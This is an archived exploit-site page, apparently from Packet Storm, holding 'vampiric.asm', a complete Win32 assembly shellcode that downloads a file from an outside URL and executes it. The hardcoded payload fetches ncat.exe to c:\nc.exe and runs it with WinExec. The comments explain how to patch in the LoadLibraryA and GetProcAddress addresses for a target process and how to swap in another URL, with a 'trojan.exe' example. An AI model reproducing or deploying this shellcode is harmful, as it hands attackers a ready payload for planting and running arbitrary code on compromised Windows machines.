exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

vampiric.asm

vampiric.asm
Posted Dec 25, 2003
Authored by Peter Winter-Smith

Vampiric Shellcode - Url Download + Execute for Win32. Vampiric shellcode links to system DLL's so create shellcode that works on many different service packs, more information here.

tags | shellcode
systems | windows
SHA-256 | 201361e794813ba49cea12713cc3fdc15fb0b13f46867a91505a6cd6886b717d

vampiric.asm

Change Mirror Download
; Vampiric Shellcode - Url Download + Execute
; By Peter Winter-Smith
; [peter4020@hotmail.com]
;
; To use this shellcode, disassemble a dll or module attached
; to the process which you are targetting, and search for calls
; to LoadLibraryA, and GetProcAddress.
;
; You will see code which is similar to 'call [12345678h]',
; which is an address in memory which will always point to
; the function which we wish to call, regardless of Operating
; System or Service Pack.
;
; Replace all the 'XXXXXXXXh' occurances within this shellcode
; with the address pointing to LoadLibraryA, and all 'ZZZZZZZZh'
; occurances with the address pointing to GetProcAddress.
;
; For real life demonstrations of the usage of this code,
; please look at the exploit page on my website
; (http://www.elitehaven.net), this code is used in the perl
; version of the eZnet exploit and the perl version of the
; IA WebMail exploit.
;
; Thanks to HDMoore for his conceptual work on the writing of
; 'vampiric' shellcodes - it is now a method which I greatly
; favour when it comes to shellcode writing :o)


bits 32

jmp short killnull

next:
pop edi

push ebp
mov ebp, esp
add esp, -24

push edi

xor ebx, ebx
mov bl, 07h
mov al, 0ffh

cld
nullify:
repne scasb
inc byte [edi-01h]
dec bl
cmp bl, 01h
jne nullify

pop edi

push edi ; 'URLMON.DLL'
lea edi, [edi+11]
push edi ; 'URLDownloadToFileA'
lea edi, [edi+19]
push edi ; 'WinExec'
lea edi, [edi+08]
push edi ; 'http://www.elitehaven.net/ncat.exe'
lea edi, [edi+35]
push edi ; 'c:\nc.exe'
lea edi, [edi+09]
inc edi
push edi ; 'kernel32.dll'

lea edx, [esp+20]
push edx

jmp short over
killnull:
jmp short data
over:

mov esi, edx
push dword [esi]

call [XXXXXXXXh] ; LoadLibraryA("URLMON.DLL");

pop edx
push edx
lea esi, [edx-04]
push dword [esi]

push eax

call [ZZZZZZZZh] ; GetProcAddress(URLMON.DLL, "URLDownloadToFileA");

pop edx
push edx

xor ecx, ecx
push ecx
push ecx
lea esi, [edx-16] ; file path
push dword [esi]
lea esi, [edx-12] ; url
push dword [esi]
push ecx

call eax

pop edx
push edx

push dword [edx-20]

call [XXXXXXXXh] ; LoadLibraryA("kernel32.dll");

pop edx
push edx


lea esi, [edx-08]
push dword [esi] ; 'WinExec'
push eax ; kernel32.dll handle

call [ZZZZZZZZh] ; GetProcAddress(kernel32.dll, "WinExec");

pop edx
push edx

xor ecx, ecx
inc ecx
push ecx

lea esi, [edx-16] ; file path
push dword [esi]

call eax

int3


data:
call next
db 'URLMON.DLL',0ffh
db 'URLDownloadToFileA',0ffh
db 'WinExec',0ffh
db 'http://www.elitehaven.net/ncat.exe',0ffh
; When altering, you MUST be sure to also alter the offsets in the
; saved string offset table!
; for example:
; db 'http://www.site.com/someguy/trojan.exe',0ffh
; count the length of the url, and add one for the 0ffh byte.
; The above url is 38 bytes long, plus one for our null, is 39 bytes.
; find the code saying (at the start of the shellcode):
; push edi ; 'http://www.elitehaven.net/ncat.exe'
; lea edi, [edi+35]
; and make it:
; push edi ; 'http://www.site.com/someguy/trojan.exe'
; lea edi, [edi+39]
; same goes for the filename below :o)
db 'c:\nc.exe',0ffh
db 'kernel32.dll',0ffh
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close